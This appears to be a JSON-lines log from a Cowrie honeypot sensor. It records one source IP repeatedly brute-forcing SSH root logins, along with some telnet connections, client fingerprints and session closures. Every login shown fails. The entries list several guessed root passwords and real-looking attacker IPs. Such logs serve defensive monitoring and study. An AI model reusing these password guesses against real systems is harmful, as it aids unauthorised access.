{"eventid":"cowrie.login.failed","username":"root","password":"147852369","message":"login attempt [root/147852369] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:54:12.984299Z","src_ip":"60.165.124.241","session":"c301d7685f64","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:54:14.232579Z","src_ip":"60.165.124.241","session":"c301d7685f64","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":36106,"dst_ip":"10.17.0.5","dst_port":22,"session":"660c59fca66a","protocol":"ssh","message":"New connection: 60.165.124.241:36106 (10.17.0.5:22) [session: 660c59fca66a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:54:14.465771Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:54:14.470588Z","src_ip":"60.165.124.241","session":"660c59fca66a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:54:14.710458Z","src_ip":"60.165.124.241","session":"660c59fca66a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"testing123","message":"login attempt [root/testing123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:54:15.438336Z","src_ip":"60.165.124.241","session":"660c59fca66a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:54:16.691229Z","src_ip":"60.165.124.241","session":"660c59fca66a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.58.117.211","src_port":34882,"dst_ip":"10.17.0.5","dst_port":23,"session":"82d93d8cad1d","protocol":"telnet","message":"New connection: 198.58.117.211:34882 (10.17.0.5:23) [session: 82d93d8cad1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:54:16.831736Z"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":38940,"dst_ip":"10.17.0.5","dst_port":22,"session":"5be11f18036a","protocol":"ssh","message":"New connection: 60.165.124.241:38940 (10.17.0.5:22) [session: 5be11f18036a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:54:16.929794Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:54:16.934608Z","src_ip":"60.165.124.241","session":"5be11f18036a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:54:17.180880Z","src_ip":"60.165.124.241","session":"5be11f18036a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwert123456","message":"login attempt [root/Qwert123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:54:17.940976Z","src_ip":"60.165.124.241","session":"5be11f18036a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":1.1339049339294434,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:54:17.965520Z","src_ip":"198.58.117.211","session":"82d93d8cad1d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:54:19.188826Z","src_ip":"60.165.124.241","session":"5be11f18036a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":42158,"dst_ip":"10.17.0.5","dst_port":22,"session":"745a1072037d","protocol":"ssh","message":"New connection: 60.165.124.241:42158 (10.17.0.5:22) [session: 745a1072037d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:54:19.422055Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:54:19.426613Z","src_ip":"60.165.124.241","session":"745a1072037d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:54:19.665847Z","src_ip":"60.165.124.241","session":"745a1072037d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hacker","message":"login attempt [root/hacker] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:54:20.392342Z","src_ip":"60.165.124.241","session":"745a1072037d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:54:21.645408Z","src_ip":"60.165.124.241","session":"745a1072037d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":45186,"dst_ip":"10.17.0.5","dst_port":22,"session":"5d9f4480c528","protocol":"ssh","message":"New connection: 60.165.124.241:45186 (10.17.0.5:22) [session: 5d9f4480c528]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:54:21.923675Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:54:21.929250Z","src_ip":"60.165.124.241","session":"5d9f4480c528","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:54:22.187468Z","src_ip":"60.165.124.241","session":"5d9f4480c528","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password123*","message":"login attempt [root/Password123*] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:54:23.277126Z","src_ip":"60.165.124.241","session":"5d9f4480c528","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:54:24.537651Z","src_ip":"60.165.124.241","session":"5d9f4480c528","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":48400,"dst_ip":"10.17.0.5","dst_port":22,"session":"5b65b10b1681","protocol":"ssh","message":"New connection: 60.165.124.241:48400 (10.17.0.5:22) [session: 5b65b10b1681]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:54:24.773953Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:54:24.778160Z","src_ip":"60.165.124.241","session":"5b65b10b1681","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:54:25.024948Z","src_ip":"60.165.124.241","session":"5b65b10b1681","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.58.117.211","src_port":644,"dst_ip":"10.17.0.5","dst_port":23,"session":"0f717957650c","protocol":"telnet","message":"New connection: 198.58.117.211:644 (10.17.0.5:23) [session: 0f717957650c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:54:25.748259Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwerty@12345","message":"login attempt [root/Qwerty@12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:54:25.768031Z","src_ip":"60.165.124.241","session":"5b65b10b1681","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":1.2383034229278564,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:54:26.986405Z","src_ip":"198.58.117.211","session":"0f717957650c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:54:27.023730Z","src_ip":"60.165.124.241","session":"5b65b10b1681","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":51630,"dst_ip":"10.17.0.5","dst_port":22,"session":"50a6b7a366f6","protocol":"ssh","message":"New connection: 60.165.124.241:51630 (10.17.0.5:22) [session: 50a6b7a366f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:54:27.247661Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:54:27.252764Z","src_ip":"60.165.124.241","session":"50a6b7a366f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:54:27.488883Z","src_ip":"60.165.124.241","session":"50a6b7a366f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"speaker","message":"login attempt [root/speaker] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:54:28.206962Z","src_ip":"60.165.124.241","session":"50a6b7a366f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:54:29.446729Z","src_ip":"60.165.124.241","session":"50a6b7a366f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":54440,"dst_ip":"10.17.0.5","dst_port":22,"session":"9f551ae3ab40","protocol":"ssh","message":"New connection: 60.165.124.241:54440 (10.17.0.5:22) [session: 9f551ae3ab40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:54:29.681067Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:54:29.686959Z","src_ip":"60.165.124.241","session":"9f551ae3ab40","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:54:29.927717Z","src_ip":"60.165.124.241","session":"9f551ae3ab40","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root2121","message":"login attempt [root/root2121] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:54:30.643153Z","src_ip":"60.165.124.241","session":"9f551ae3ab40","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:54:31.884360Z","src_ip":"60.165.124.241","session":"9f551ae3ab40","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":57514,"dst_ip":"10.17.0.5","dst_port":22,"session":"c8e4f620487c","protocol":"ssh","message":"New connection: 60.165.124.241:57514 (10.17.0.5:22) [session: c8e4f620487c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:54:32.116457Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:54:32.121242Z","src_ip":"60.165.124.241","session":"c8e4f620487c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:54:32.359326Z","src_ip":"60.165.124.241","session":"c8e4f620487c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwe1234567890","message":"login attempt [root/Qwe1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:54:33.081738Z","src_ip":"60.165.124.241","session":"c8e4f620487c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:54:34.320646Z","src_ip":"60.165.124.241","session":"c8e4f620487c","protocol":"ssh"}
